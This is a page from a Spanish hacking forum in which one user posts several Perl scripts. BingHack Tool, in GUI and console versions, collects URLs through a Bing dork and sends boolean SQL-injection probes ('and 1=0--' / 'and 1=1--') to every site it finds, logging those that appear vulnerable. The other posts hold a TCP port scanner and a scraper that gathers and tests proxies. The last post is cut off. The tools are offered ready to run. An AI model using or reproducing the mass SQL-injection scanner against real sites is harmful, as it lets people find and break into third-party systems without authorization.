elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 ... 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 [34] 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 ... 55
331  Programación / Scripting / [Perl Tk] BingHack Tool 0.1 en: 26 Mayo 2012, 16:02 pm
Version Tk de un script en Perl para buscar paginas vulnerables a SQLi usando Bing.

Una imagen



El codigo

Código
  1. #!usr/bin/perl
  2. #BingHack Tool 0.1
  3. #Version Tk
  4. #Coded By Doddy H
  5.  
  6. use Tk;
  7. use LWP::UserAgent;
  8.  
  9. my $nave = LWP::UserAgent->new;
  10. $nave->agent(
  11. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  12. );
  13. $nave->timeout(5);
  14.  
  15. my $color_fondo = "black";
  16. my $color_texto = "green";
  17.  
  18. if ( $^O eq 'MSWin32' ) {
  19.     use Win32::Console;
  20.     Win32::Console::Free();
  21. }
  22.  
  23. my $hj =
  24.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  25. $hj->geometry("600x285+20+20");
  26. $hj->resizable( 0, 0 );
  27. $hj->title("BingHack Tool 0.1");
  28.  
  29. $hj->Label(
  30.     -text       => "Dork : ",
  31.     -font       => "Impact1",
  32.     -background => $color_fondo,
  33.     -foreground => $color_texto
  34. )->place( -x => 18, -y => 22 );
  35. my $dork = $hj->Entry(
  36.     -width      => 30,
  37.     -background => $color_fondo,
  38.     -foreground => $color_texto
  39. )->place( -x => 68, -y => 26 );
  40.  
  41. $hj->Label(
  42.     -text       => "Pages : ",
  43.     -font       => "Impact1",
  44.     -background => $color_fondo,
  45.     -foreground => $color_texto
  46. )->place( -x => 270, -y => 22 );
  47. my $pages = $hj->Entry(
  48.     -width      => 10,
  49.     -background => $color_fondo,
  50.     -foreground => $color_texto
  51. )->place( -x => 335, -y => 26 );
  52.  
  53. $hj->Button(
  54.     -text             => "Search",
  55.     -width            => 10,
  56.     -background       => $color_fondo,
  57.     -foreground       => $color_texto,
  58.     -activebackground => $color_texto,
  59.     -command          => \&search
  60. )->place( -x => 420, -y => 26 );
  61. $hj->Button(
  62.     -text             => "Logs",
  63.     -width            => 10,
  64.     -background       => $color_fondo,
  65.     -foreground       => $color_texto,
  66.     -activebackground => $color_texto,
  67.     -command          => \&logs
  68. )->place( -x => 495, -y => 26 );
  69.  
  70. $hj->Label(
  71.     -text       => "Links Found",
  72.     -font       => "Impact",
  73.     -background => $color_fondo,
  74.     -foreground => $color_texto
  75. )->place( -x => 110, -y => 80 );
  76. my $links = $hj->Listbox(
  77.     -width      => 40,
  78.     -height     => 10,
  79.     -background => $color_fondo,
  80.     -foreground => $color_texto
  81. )->place( -x => 30, -y => 120 );
  82.  
  83. $hj->Label(
  84.     -text       => "SQLi Found",
  85.     -font       => "Impact",
  86.     -background => $color_fondo,
  87.     -foreground => $color_texto
  88. )->place( -x => 390, -y => 80 );
  89. my $founds = $hj->Listbox(
  90.     -width      => 40,
  91.     -height     => 10,
  92.     -background => $color_fondo,
  93.     -foreground => $color_texto
  94. )->place( -x => 310, -y => 120 );
  95.  
  96. MainLoop;
  97.  
  98. sub search {
  99.  
  100.     $links->delete( "0.0", "end" );
  101.     $founds->delete( "0.0", "end" );
  102.  
  103.     $hj->update;
  104.     $hj->title("BingHack Tool 0.1 [+] Status : Searching");
  105.     my @urls = bing( $dork->get, $pages->get );
  106.     $hj->update;
  107.  
  108.     for (@urls) {
  109.         $hj->update;
  110.         $links->insert( "end", $_ );
  111.     }
  112.  
  113.     $hj->title("BingHack Tool 0.1 [+] Status : Scanning");
  114.  
  115.     for my $pa (@urls) {
  116.         $hj->update;
  117.         sql($pa);
  118.     }
  119.     $hj->update;
  120.     $hj->title("BingHack Tool 0.1");
  121. }
  122.  
  123. sub logs {
  124.  
  125.     my $file = "sql-logs.txt";
  126.  
  127.     if ( -f $file ) {
  128.         system($file);
  129.     }
  130.     else {
  131.         $hj->Dialog(
  132.             -title            => "Error",
  133.             -buttons          => ["OK"],
  134.             -text             => "Logs not found",
  135.             -background       => $color_fondo,
  136.             -foreground       => $color_text,
  137.             -activebackground => $color_text
  138.         )->Show();
  139.     }
  140. }
  141.  
  142. sub sql {
  143.     my ( $pass1, $pass2 ) = ( "+", "--" );
  144.     my $page = shift;
  145.  
  146.     my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
  147.     my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
  148.  
  149.     unless ( $testar1 eq $testar2 ) {
  150.         $founds->insert( "end", $page );
  151.         savefile( "sql-logs.txt", $page );
  152.     }
  153. }
  154.  
  155. sub savefile {
  156.     open( SAVE, ">>" . $_[0] );
  157.     print SAVE $_[1] . "\n";
  158.     close SAVE;
  159. }
  160.  
  161. sub bing {
  162.  
  163.     my ( $a, $b ) = @_;
  164.     for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
  165.         $hj->update;
  166.         my $code =
  167.           toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );
  168.  
  169.         while ( $code =~ /<h3><a href="(.*?)"/mig ) {
  170.             push( @founds, $1 );
  171.         }
  172.     }
  173.     my @founds = repes( cortar(@founds) );
  174.     return @founds;
  175. }
  176.  
  177. sub repes {
  178.     my @limpio;
  179.     foreach $test (@_) {
  180.         push @limpio, $test unless $repe{$test}++;
  181.     }
  182.     return @limpio;
  183. }
  184.  
  185. sub cortar {
  186.     my @nuevo;
  187.     for (@_) {
  188.         if ( $_ =~ /=/ ) {
  189.             @tengo = split( "=", $_ );
  190.             push( @nuevo, @tengo[0] . "=" );
  191.         }
  192.         else {
  193.             push( @nuevo, $_ );
  194.         }
  195.     }
  196.     return @nuevo;
  197. }
  198.  
  199. sub toma {
  200.     return $nave->get( $_[0] )->content;
  201. }
  202.  
  203. #The End ?
  204.  
332  Programación / Scripting / [Perl] BingHack Tool 0.1 en: 26 Mayo 2012, 16:02 pm
Un simple script en perl para buscar paginas vulnerables a SQLi usando Bing.

El codigo

Código
  1. #!usr/bin/perl
  2. #BingHack Tool 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6.  
  7. my $nave = LWP::UserAgent->new;
  8. $nave->agent(
  9. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  10. );
  11. $nave->timeout(5);
  12.  
  13. head();
  14. print "\n\n[+] Dork : ";
  15. chomp( my $dork = <stdin> );
  16. print "\n[+] Pages : ";
  17. chomp( my $pags = <stdin> );
  18. print "\n[+] Searching ...\n";
  19. my @urls = bing( $dork, $pags );
  20. print "\n[+] Pages Found : " . int(@urls) . "\n";
  21. print "\n[+] Scanning ...\n\n";
  22.  
  23. for my $pa (@urls) {
  24.     sql($pa);
  25. }
  26. print "\n[+] Finished\n";
  27.  
  28. copyright();
  29.  
  30. sub sql {
  31.     my ( $pass1, $pass2 ) = ( "+", "--" );
  32.     my $page = shift;
  33.  
  34.     my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
  35.     my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );
  36.  
  37.     unless ( $testar1 eq $testar2 ) {
  38.         print "[+] SQLI : $page\a\n";
  39.         savefile( "sql-logs.txt", $page );
  40.     }
  41. }
  42.  
  43. sub savefile {
  44.     open( SAVE, ">>" . $_[0] );
  45.     print SAVE $_[1] . "\n";
  46.     close SAVE;
  47. }
  48.  
  49. sub bing {
  50.  
  51.     my ( $a, $b ) = @_;
  52.     for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
  53.         my $code =
  54.           toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );
  55.  
  56.         while ( $code =~ /<h3><a href="(.*?)"/mig ) {
  57.             push( @founds, $1 );
  58.         }
  59.     }
  60.     my @founds = repes( cortar(@founds) );
  61.     return @founds;
  62. }
  63.  
  64. sub repes {
  65.     my @limpio;
  66.     foreach $test (@_) {
  67.         push @limpio, $test unless $repe{$test}++;
  68.     }
  69.     return @limpio;
  70. }
  71.  
  72. sub cortar {
  73.     my @nuevo;
  74.     for (@_) {
  75.         if ( $_ =~ /=/ ) {
  76.             @tengo = split( "=", $_ );
  77.             push( @nuevo, @tengo[0] . "=" );
  78.         }
  79.         else {
  80.             push( @nuevo, $_ );
  81.         }
  82.     }
  83.     return @nuevo;
  84. }
  85.  
  86. sub head {
  87.     print qq(
  88.  
  89.  @@@@   @             @    @              @        @@@@@              @
  90.  @   @                @    @              @          @                @
  91.  @   @                @    @              @          @                @
  92.  @   @  @ @ @@   @@@@ @    @   @@@   @@@  @  @       @     @@@   @@@  @
  93.  @@@@   @ @@  @ @   @ @@@@@@      @ @   @ @ @        @    @   @ @   @ @
  94.  @   @  @ @   @ @   @ @    @   @@@@ @     @@         @    @   @ @   @ @
  95.  @   @  @ @   @ @   @ @    @  @   @ @     @ @        @    @   @ @   @ @
  96.  @   @  @ @   @ @   @ @    @  @   @ @   @ @  @       @    @   @ @   @ @
  97.  @@@@   @ @   @  @@@@ @    @   @@@@  @@@  @   @      @     @@@   @@@  @
  98.                     @                                                  
  99.                 @@@@                                                   
  100.  
  101. );
  102. }
  103.  
  104. sub copyright {
  105.     print "\n\n-- == (C) Doddy Hackman 2012\n\n";
  106.     <stdin>;
  107.     exit(1);
  108. }
  109.  
  110. sub toma {
  111.     return $nave->get( $_[0] )->content;
  112. }
  113.  
  114. # The End ?
  115.  
333  Programación / Scripting / [Perl Tk] Scan Port 0.6 en: 19 Mayo 2012, 17:30 pm
Nueva version Tk de un scanner de puertos que hice.

Una imagen



El codigo

Código
  1. #!usr/bin/perl
  2. #ScanPort 0.6
  3. #Version Tk
  4. #Coded By Doddy H
  5.  
  6. use Tk;
  7. use IO::Socket;
  8.  
  9. my $color_fondo = "black";
  10. my $color_texto = "green";
  11.  
  12. if ( $^O eq 'MSWin32' ) {
  13.     use Win32::Console;
  14.     Win32::Console::Free();
  15. }
  16.  
  17. my $kax =
  18.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  19. $kax->geometry("422x130+20+20");
  20. $kax->resizable( 0, 0 );
  21. $kax->title("Scan Port 0.6 || Coded By Doddy H");
  22.  
  23. $kax->Label(
  24.     -text       => "Host : ",
  25.     -font       => "Impact",
  26.     -background => $color_fondo,
  27.     -foreground => $color_texto
  28. )->place( -x => 20, -y => 20 );
  29. my $hostx = $kax->Entry(
  30.     -width      => 30,
  31.     -background => $color_fondo,
  32.     -foreground => $color_texto
  33. )->place( -x => 68, -y => 26 );
  34. $kax->Label(
  35.     -text       => "From port : ",
  36.     -font       => "Impact",
  37.     -background => $color_fondo,
  38.     -foreground => $color_texto
  39. )->place( -x => 20, -y => 50 );
  40. my $startx = $kax->Entry(
  41.     -width      => 8,
  42.     -background => $color_fondo,
  43.     -foreground => $color_texto
  44. )->place( -x => 100, -y => 55 );
  45. $kax->Label(
  46.     -text       => "To : ",
  47.     -font       => "Impact",
  48.     -background => $color_fondo,
  49.     -foreground => $color_texto
  50. )->place( -x => 170, -y => 50 );
  51. my $endx = $kax->Entry(
  52.     -width      => 8,
  53.     -background => $color_fondo,
  54.     -foreground => $color_texto
  55. )->place( -x => 200, -y => 55 );
  56.  
  57. $kax->Label(
  58.     -text       => "Progress : ",
  59.     -font       => "Impact",
  60.     -background => $color_fondo,
  61.     -foreground => $color_texto
  62. )->place( -x => 20, -y => 84 );
  63. my $tatus = $kax->Entry(
  64.     -width      => 8,
  65.     -background => $color_fondo,
  66.     -foreground => $color_texto
  67. )->place( -x => 100, -y => 90 );
  68. $kax->Button(
  69.     -text             => "Fast",
  70.     -width            => 6,
  71.     -background       => $color_fondo,
  72.     -foreground       => $color_texto,
  73.     -activebackground => $color_texto,
  74.     -command          => \&scanuno
  75. )->place( -x => 158, -y => 88 );
  76. $kax->Button(
  77.     -text             => "Full",
  78.     -width            => 6,
  79.     -background       => $color_fondo,
  80.     -foreground       => $color_texto,
  81.     -activebackground => $color_texto,
  82.     -command          => \&scandos
  83. )->place( -x => 208, -y => 88 );
  84.  
  85. $kax->Label(
  86.     -text       => "Port Found",
  87.     -font       => "Impact",
  88.     -background => $color_fondo,
  89.     -foreground => $color_texto
  90. )->place( -x => 305, -y => 20 );
  91. my $porters = $kax->Listbox(
  92.     -width      => 20,
  93.     -height     => 4,
  94.     -background => $color_fondo,
  95.     -foreground => $color_texto
  96. )->place( -x => 280, -y => 50 );
  97.  
  98. MainLoop;
  99.  
  100. sub scanuno {
  101.  
  102.     my %ports = (
  103.         "21"   => "ftp",
  104.         "22"   => "ssh",
  105.         "25"   => "smtp",
  106.         "80"   => "http",
  107.         "110"  => "pop3",
  108.         "3306" => "mysql"
  109.     );
  110.  
  111.     $porters->delete( "0.0", "end" );
  112.     $tatus->configure( -text => " " );
  113.  
  114.     for my $port ( keys %ports ) {
  115.         $kax->update;
  116.         $tatus->configure( -text => $port );
  117.         if (
  118.             new IO::Socket::INET(
  119.                 PeerAddr => $hostx->get,
  120.                 PeerPort => $port,
  121.                 Proto    => "tcp",
  122.                 Timeout  => 0.5
  123.             )
  124.           )
  125.         {
  126.             $porters->insert( "end", $port );
  127.         }
  128.     }
  129.     $tatus->configure( -text => " " );
  130. }
  131.  
  132. sub scandos {
  133.  
  134.     $porters->delete( "0.0", "end" );
  135.     $tatus->configure( -text => " " );
  136.  
  137.     for my $port ( $startx->get .. $endx->get ) {
  138.         $kax->update;
  139.         $tatus->configure( -text => $port );
  140.         if (
  141.             new IO::Socket::INET(
  142.                 PeerAddr => $hostx->get,
  143.                 PeerPort => $port,
  144.                 Proto    => "tcp",
  145.                 Timeout  => 0.5
  146.             )
  147.           )
  148.         {
  149.             $porters->insert( "end", $port );
  150.         }
  151.     }
  152.     $tatus->configure( -text => " " );
  153. }
  154.  
  155. # The End ?
  156.  
  157.  
334  Programación / Scripting / [Perl] Scan Port 0.6 en: 19 Mayo 2012, 17:30 pm
Un simple scanner port hecho en Perl.

Código
  1. #!usr/bin/perl
  2. #ScanPort 0.6
  3. #Coded By Doddy H
  4. #Examples
  5. #perl scan.pl -target localhost -option fast
  6. #perl scan.pl -target localhost -option full -parameters 1-100
  7.  
  8. use IO::Socket;
  9. use Getopt::Long;
  10.  
  11. GetOptions(
  12.     "-target=s"     => \$target,
  13.     "-option=s"     => \$opcion,
  14.     "-parameters=s" => \$parameters
  15. );
  16.  
  17. head();
  18. unless ($target) {
  19.     sintax();
  20. }
  21. else {
  22.     if ( $opcion eq "fast" ) {
  23.         scanuno($target);
  24.     }
  25.     if ( $opcion eq "full" and $parameters ) {
  26.         if ( $parameters =~ /(.*)-(.*)/ ) {
  27.             my $start = $1;
  28.             my $end   = $2;
  29.             scandos( $target, $start, $end );
  30.         }
  31.     }
  32. }
  33.  
  34. copyright();
  35.  
  36. sub scanuno {
  37.  
  38.     my %ports = (
  39.         "21"   => "ftp",
  40.         "22"   => "ssh",
  41.         "25"   => "smtp",
  42.         "80"   => "http",
  43.         "110"  => "pop3",
  44.         "3306" => "mysql"
  45.     );
  46.  
  47.     print "\n[+] Scanning $_[0]\n\n\n";
  48.  
  49.     for my $port ( keys %ports ) {
  50.  
  51.         if (
  52.             new IO::Socket::INET(
  53.                 PeerAddr => $_[0],
  54.                 PeerPort => $port,
  55.                 Proto    => "tcp",
  56.                 Timeout  => 0.5
  57.             )
  58.           )
  59.         {
  60.             print "[+] Port Found : " 
  61.               . $port
  62.               . " [Service] : "
  63.               . $ports{$port} . "\n";
  64.         }
  65.     }
  66.     print "\n\n[+] Scan Finished\n";
  67. }
  68.  
  69. sub scandos {
  70.  
  71.     print "\n[+] Scanning $_[0]\n\n\n";
  72.  
  73.     for my $port ( $_[1] .. $_[2] ) {
  74.  
  75.         if (
  76.             new IO::Socket::INET(
  77.                 PeerAddr => $_[0],
  78.                 PeerPort => $port,
  79.                 Proto    => "tcp",
  80.                 Timeout  => 0.5
  81.             )
  82.           )
  83.         {
  84.             print "[+] Port Found : $port\n";
  85.         }
  86.     }
  87.     print "\n\n[+] Scan Finished\n";
  88. }
  89.  
  90. sub head {
  91.     print "\n-- == ScanPort 0.6 == --\n\n";
  92. }
  93.  
  94. sub copyright {
  95.     print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
  96. }
  97.  
  98. sub sintax {
  99.     print
  100. "\n[+] sintax : $0 -target <target> -option fast/full -parameters <1-9999>\n";
  101. }
  102.  
  103. # The End ?
  104.  
  105.  
335  Programación / Scripting / [Perl Tk] Proxy Tester 0.5 en: 12 Mayo 2012, 20:52 pm
Version Tk de un programa para buscar proxies de forma online.

Una imagen



El codigo

Código
  1. #!usr/bin/perl
  2. #Proxy Tester 0.5
  3. #Version Tk
  4. #Coded By Doddy H
  5.  
  6. use Cwd;
  7. use Tk;
  8. use Tk::FileSelect;
  9. use Tk::Dialog;
  10. use LWP::UserAgent;
  11.  
  12. my $nave = LWP::UserAgent->new();
  13. $nave->timeout(5);
  14. $nave->agent(
  15. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  16. );
  17.  
  18. #if ($^O eq 'MSWin32') {
  19. #use Win32::Console;
  20. #Win32::Console::Free();
  21. #}
  22.  
  23. my $color_texto = "green";
  24. my $color_fondo = "black";
  25.  
  26. my $newd =
  27.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  28.  
  29. $newd->title("Proxy Tester 0.5");
  30. $newd->geometry("370x250+50+50");
  31. $newd->resizable( 0, 0 );
  32.  
  33. $menula = $newd->Frame(
  34.     -relief     => "sunken",
  35.     -bd         => 1,
  36.     -background => $color_fondo,
  37.     -foreground => $color_texto
  38. );
  39. my $menulnowax = $menula->Menubutton(
  40.     -text             => "Options",
  41.     -underline        => 1,
  42.     -background       => $color_fondo,
  43.     -foreground       => $color_texto,
  44.     -activebackground => $color_texto
  45. )->pack( -side => "left" );
  46. my $aboutnowax = $menula->Menubutton(
  47.     -text             => "About",
  48.     -underline        => 1,
  49.     -background       => $color_fondo,
  50.     -foreground       => $color_texto,
  51.     -activebackground => $color_texto
  52. )->pack( -side => "left" );
  53. my $exitnowax = $menula->Menubutton(
  54.     -text             => "Exit",
  55.     -underline        => 1,
  56.     -background       => $color_fondo,
  57.     -foreground       => $color_texto,
  58.     -activebackground => $color_texto
  59. )->pack( -side => "left" );
  60. $menula->pack( -side => "top", -fill => "x" );
  61.  
  62. $menulnowax->command(
  63.     -label      => "Load Wordlist",
  64.     -background => $color_fondo,
  65.     -foreground => $color_texto,
  66.     -command    => \&loadword
  67. );
  68. $menulnowax->command(
  69.     -label      => "Check Online",
  70.     -background => $color_fondo,
  71.     -foreground => $color_texto,
  72.     -command    => \&scan
  73. );
  74. $menulnowax->command(
  75.     -label      => "Open Logs",
  76.     -background => $color_fondo,
  77.     -foreground => $color_texto,
  78.     -command    => \&openlogs
  79. );
  80.  
  81. $aboutnowax->command(
  82.     -label      => "About",
  83.     -background => $color_fondo,
  84.     -foreground => $color_texto,
  85.     -command    => \&aboutxa
  86. );
  87.  
  88. $exitnowax->command(
  89.     -label      => "Exit",
  90.     -background => $color_fondo,
  91.     -foreground => $color_texto,
  92.     -command    => \&exitnow
  93. );
  94.  
  95. $newd->Label(
  96.     -text       => "Proxy OK",
  97.     -font       => "Impact",
  98.     -background => $color_fondo,
  99.     -foreground => $color_texto
  100. )->place( -y => 40, -x => 75 );
  101. my $proxy_buenos =
  102.   $newd->Listbox( -background => $color_fondo, -foreground => $color_texto )
  103.   ->place( -y => "80", -x => "40" );
  104.  
  105. $newd->Label(
  106.     -text       => "Proxy Failed",
  107.     -font       => "Impact",
  108.     -background => $color_fondo,
  109.     -foreground => $color_texto
  110. )->place( -y => 40, -x => 220 );
  111. my $proxy_malos =
  112.   $newd->Listbox( -background => $color_fondo, -foreground => $color_texto )
  113.   ->place( -y => "80", -x => "200" );
  114.  
  115. MainLoop;
  116.  
  117. sub openlogs {
  118.     my $f = "proxy-founds.txt";
  119.     if ( -f $f ) {
  120.         system($f);
  121.     }
  122.     else {
  123.         $newd->Dialog(
  124.             -title            => "Error",
  125.             -buttons          => ["OK"],
  126.             -text             => "File Not Found",
  127.             -background       => $color_fondo,
  128.             -foreground       => $color_texto,
  129.             -activebackground => $color_texto
  130.         )->Show();
  131.     }
  132. }
  133.  
  134. sub loadword {
  135.  
  136.     my $newdax = MainWindow->new(
  137.         -background => $color_fondo,
  138.         -foreground => $color_texto
  139.     );
  140.  
  141.     $newdax->title("Load Wordlist");
  142.     $newdax->geometry("460x50+50+50");
  143.     $newdax->resizable( 0, 0 );
  144.  
  145.     $newdax->Label(
  146.         -text       => "File : ",
  147.         -font       => "Impact1",
  148.         -background => $color_fondo,
  149.         -foreground => $color_texto
  150.     )->place( -y => 10, -x => 10 );
  151.     my $filex = $newdax->Entry(
  152.         -width      => 40,
  153.         -background => $color_fondo,
  154.         -foreground => $color_texto
  155.     )->place( -y => 13, -x => 50 );
  156.     $newdax->Button(
  157.         -text             => "Browse",
  158.         -width            => 10,
  159.         -command          => \&bro,
  160.         -background       => $color_fondo,
  161.         -foreground       => $color_texto,
  162.         -activebackground => $color_texto
  163.     )->place( -y => 13, -x => 300 );
  164.     $newdax->Button(
  165.         -text             => "Load",
  166.         -width            => 10,
  167.         -command          => \&pasouno,
  168.         -background       => $color_fondo,
  169.         -foreground       => $color_texto,
  170.         -activebackground => $color_texto
  171.     )->place( -y => 13, -x => 375 );
  172.  
  173.     sub bro {
  174.         $newd->update;
  175.         $browse = $newd->FileSelect( -directory => getcwd() );
  176.         my $file = $browse->Show;
  177.         $filex->configure( -text => $file );
  178.     }
  179.  
  180.     sub pasouno {
  181.  
  182.         my $file = $filex->get;
  183.         $newdax->destroy();
  184.  
  185.         if ( -f $file ) {
  186.  
  187.             open( FILE, $file );
  188.             my @words = <FILE>;
  189.             close FILE;
  190.  
  191.             chomp @words;
  192.  
  193.             my @proxies = repes(@words);
  194.  
  195.             $proxy_buenos->delete( 0.0, "end" );
  196.             $proxy_malos->delete( 0.0, "end" );
  197.  
  198.             $newd->title("Proxy Tester 0.5 [+] Status : Testing ...");
  199.  
  200.             for my $pro (@proxies) {
  201.                 chomp $pro;
  202.                 $newd->update;
  203.                 if ( testnow($pro) ) {
  204.                     $proxy_buenos->insert( "end", $pro );
  205.                 }
  206.                 else {
  207.                     $proxy_malos->insert( "end", $pro );
  208.                 }
  209.  
  210.             }
  211.  
  212.         }
  213.         else {
  214.             $newd->Dialog(
  215.                 -title            => "Error",
  216.                 -buttons          => ["OK"],
  217.                 -text             => "File Not Found",
  218.                 -background       => $color_fondo,
  219.                 -foreground       => $color_texto,
  220.                 -activebackground => $color_texto
  221.             )->Show();
  222.         }
  223.     }
  224.     $newd->title("Proxy Tester 0.5");
  225. }
  226.  
  227. sub scan {
  228.  
  229.     $proxy_buenos->delete( 0.0, "end" );
  230.     $proxy_malos->delete( 0.0, "end" );
  231.  
  232.     $newd->title("Proxy Tester 0.5 [+] Status : Searching ...");
  233.  
  234.     my @uno = getproxys();
  235.     my @dos = getxroxy();
  236.  
  237.     #my @tres = proxyip();
  238.     #my @cuatro = proxylist();
  239.     #my @cinco = proxies(); #big list
  240.  
  241.     my @total = ( @uno, @dos, @tres, @cuatro, @cinco );
  242.  
  243.     $newd->update;
  244.     $newd->title("Proxy Tester 0.5 [+] Status : Testing ...");
  245.  
  246.     my $cont = "0";
  247.     for (@total) {
  248.         $newd->update;
  249.         if ( testnow($_) ) {
  250.             $cont++;
  251.             print "\a";    #BEEP
  252.         }
  253.     }
  254.     $newd->title("Proxy Tester 0.5");
  255. }
  256.  
  257. sub testnow {
  258.  
  259.     my $ver = shift;
  260.  
  261.     my $pro;
  262.     my $host;
  263.     my $port;
  264.     my $country;
  265.     my $save;
  266.  
  267.     my $test_proxy = LWP::UserAgent->new();
  268.     $test_proxy->timeout(5);
  269.     $test_proxy->agent(
  270. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  271.     );
  272.  
  273.     if ( $ver =~ /(.*):(.*)/ ) {
  274.         ( $host, $port, $country ) = ( $1, $2, "Unknown" );
  275.         $save = $host . ":" . $port;
  276.     }
  277.  
  278.     if ( $ver =~ /(.*):(.*):(.*)/ ) {
  279.         ( $host, $port, $country ) = ( $1, $2, $3 );
  280.         $save = $host . ":" . $port . ":" . $country;
  281.     }
  282.  
  283.     my $pro = $host . ":" . $port;
  284.  
  285.     $test_proxy->proxy( "http", "http://" . $pro );
  286.     my $code = $test_proxy->get("http://www.whatismyip.com/")->content;
  287.  
  288.     if ( $code =~ /Your IP Address Is/ ) {
  289.         savefile( "proxy-founds.txt", $save );
  290.         return true;
  291.     }
  292. }
  293.  
  294. sub getproxys {
  295.  
  296.     my @founds;
  297.     my @volver;
  298.  
  299.     for my $num ( 1 .. 5 ) {
  300.         $newd->update;
  301.         my $code = toma(
  302. "http://www.proxys.com.ar/index.php?act=list&port=&type=&country=&page=$num"
  303.         );
  304.  
  305.         while ( $code =~
  306. /<tr class="cells" onmouseover="this.className='cells2'" onmouseout="this.className='cells'">(.*?)<\/tr>/sig
  307.           )
  308.         {
  309.             my $porcion = $1;
  310.             chomp $porcion;
  311.  
  312.             if ( my @total = $porcion =~ m{<\s*td\s*>\s*(.*?)\s*</\s*td}mig ) {
  313.                 push( @founds, $total[1] . ":" . $total[2] . ":" . $total[4] );
  314.             }
  315.         }
  316.     }
  317.  
  318.     my @volver = repes(@founds);
  319.     return @volver;
  320.  
  321. }
  322.  
  323. sub getxroxy {
  324.  
  325.     my @founds_final;
  326.     my @founds;
  327.  
  328.     for my $num ( 0 .. 26 ) {
  329.         $newd->update;
  330.         open( FILE, ">>proxy.txt" );
  331.  
  332.         my $code = toma(
  333. "http://www.xroxy.com/proxylist.php?port=&type=&ssl=&country=&latency=1000&reliability=&sort=reliability&desc=true&pnum=$num"
  334.         );
  335.  
  336.         while ( $code =~
  337.             /proxy:name=XROXY proxy&host=(.*?)&port=(.*?)&notes=(.*?)&/sig )
  338.         {
  339.             my ( $ip, $port, $pais ) = ( $1, $2, $3 );
  340.             $port =~ s/&isSocks=true//sig;
  341.             $port =~ s/&socksversion=4a//sig;
  342.             push( @founds, "$ip:$port:$pais" );
  343.             print FILE "$ip:$port\n";
  344.         }
  345.     }
  346.  
  347.     my @founds_final = repes(@founds);
  348.     return @founds_final;
  349.  
  350. }
  351.  
  352. sub proxies {
  353.  
  354.     my @founds_final;
  355.     my @founds;
  356.  
  357.     for my $i ( 1 .. 10 ) {
  358.         $newd->update;
  359.         my $code =
  360.           toma( "http://proxies.my-proxy.com/proxy-list-" . $i . ".html" );
  361.  
  362.         my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g;
  363.  
  364.         for (@found) {
  365.             push( @founds, "$_:Unknown" );
  366.         }
  367.  
  368.     }
  369.  
  370.     my @founds_final = repes(@founds);
  371.     return @founds_final;
  372.  
  373. }
  374.  
  375. sub proxyip {
  376.  
  377.     my @founds_final;
  378.     my @founds;
  379.  
  380.     my $code = toma("http://proxy-ip-list.com/free-usa-proxy-ip.html");
  381.  
  382.     if ( $code =~ /<tbody class="table_body">(.*?)<\/table>/sig ) {
  383.         my $codedos = $1;
  384.  
  385.         while ( $codedos =~
  386. /<tr><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><\/tr>/mig
  387.           )
  388.         {
  389.             my ( $ip, $pais ) = ( $1, $5 );
  390.             push( @founds, "$ip:$pais" );
  391.         }
  392.     }
  393.  
  394.     my @founds_final = repes(@founds);
  395.     return @founds_final;
  396.  
  397. }
  398.  
  399. sub proxylist {
  400.  
  401.     my @founds_final;
  402.     my @founds;
  403.  
  404.     my $code = toma("http://www.proxylist.net/");
  405.  
  406.     while ( $code =~
  407. /<tr><td><a href="(.*?)">(.*?)<\/a><\/td><td><a href="(.*?)">(.*?)<\/a><\/td>/mig
  408.       )
  409.     {
  410.         my ( $ip, $pais ) = ( $2, $4 );
  411.         push( @founds, "$ip:$pais" );
  412.     }
  413.  
  414.     my @founds_final = repes(@founds);
  415.     return @founds_final;
  416.  
  417. }
  418.  
  419. sub aboutxa {
  420.  
  421.     $newd->Dialog(
  422.         -title            => "About",
  423.         -buttons          => ["OK"],
  424.         -text             => "Coded By Doddy H",
  425.         -background       => $color_fondo,
  426.         -foreground       => $color_texto,
  427.         -activebackground => $color_texto
  428.     )->Show();
  429.  
  430. }
  431.  
  432. sub exitnow { exit 1; }
  433.  
  434. sub savefile {
  435.     open( SAVE, ">>" . $_[0] );
  436.     print SAVE $_[1] . "\n";
  437.     close SAVE;
  438. }
  439.  
  440. sub toma {
  441.     return $nave->get( $_[0] )->content;
  442. }
  443.  
  444. sub repes {
  445.     my @limpio;
  446.     foreach $test (@_) {
  447.         push @limpio, $test unless $repe{$test}++;
  448.     }
  449.     return @limpio;
  450. }
  451.  
  452. #The End ?
  453.  
336  Programación / Scripting / [Perl] Proxy Tester 0.5 en: 12 Mayo 2012, 20:51 pm
Version mejorada de un programa para buscar proxies de forma online para despues verificar el estado de cada uno.

El codigo

Código
  1. #!usr/bin/perl
  2. #Proxy Tester 0.5
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6.  
  7. my $nave = LWP::UserAgent->new();
  8. $nave->timeout(5);
